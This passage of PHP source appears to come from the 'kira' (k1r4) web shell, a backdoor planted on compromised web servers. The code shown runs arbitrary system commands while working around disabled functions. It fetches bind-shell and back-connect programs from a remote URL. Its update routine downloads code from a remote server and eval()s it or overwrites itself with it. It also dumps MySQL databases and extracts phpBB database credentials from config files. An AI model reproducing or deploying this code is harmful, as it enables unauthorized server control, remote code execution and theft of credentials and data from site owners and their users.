header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("k1r4_buff_prepare"))
{
function k1r4_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
k1r4_buff_prepare();
if (!function_exists("k1r4_sess_put"))
{
function k1r4_sess_put($data)
{
global $sess_cookie;
global $sess_data;
k1r4_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "".view_perms(fileperms($o))."";}
elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";}
else {return "".view_perms(fileperms($o))."";}
}
}
if (!function_exists("k1r4getsource"))
{
function k1r4getsource($fn)
{
global $k1r4_sourcesurl;
$array = array(
"k1r4_bindport.pl" => "k1r4_bindport_pl.txt",
"k1r4_bindport.c" => "k1r4_bindport_c.txt",
"k1r4_backconn.pl" => "k1r4_backconn_pl.txt",
"k1r4_backconn.c" => "k1r4_backconn_c.txt",
"k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt",
"k1r4_datapipe.c" => "k1r4_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("k1r4_getupdate"))
{
function k1r4_getupdate($update = TRUE)
{
$url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by kira.SQL v. ".$shver."
# Home page: http://google.com
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "
";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "
There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
echo "
";
if ($sql_act == "newdb")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "
Server-status variables:
";
echo "
Name
Value
";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "
";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("\n",$r);
if (count($arr == 18))
{
include($d.$f);
echo "phpBB configuration is detected in this file! ";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "Connect to DB
";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";}
echo "Parameters for manual connect: ";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
echo "";
}
}
echo "
";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {k1r4exit();}
echo "